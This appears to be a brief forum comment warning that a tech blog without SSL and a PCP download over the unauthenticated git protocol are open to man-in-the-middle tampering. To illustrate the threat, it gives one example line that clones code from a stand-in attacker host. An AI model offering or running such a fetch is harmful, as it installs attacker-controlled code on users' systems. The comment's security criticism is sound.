The techblog isn't using SSL, and the git pull url for PCP is using the git protocol which is also unauthenticated, rather than the authenticated https transport (ssh is only an option when user accounts make sense).

Someone's at a conference and follows the link over public wifi. They get the same page but with "here's how to get PCP: ftp evil.io or git clone git://git.evil.io/pcp" Even if the webpage were ssl-enabled so that an attacker can't rewrite the pcp.io links, an attacker or evil network operator could MITM git.pcp.io or ftp.pcp.io. (FTP?!)

Being in Ubuntu's repo doesn't make it safe if Ubuntu's maintainers have no (semi-)trustworthy way of getting the code.
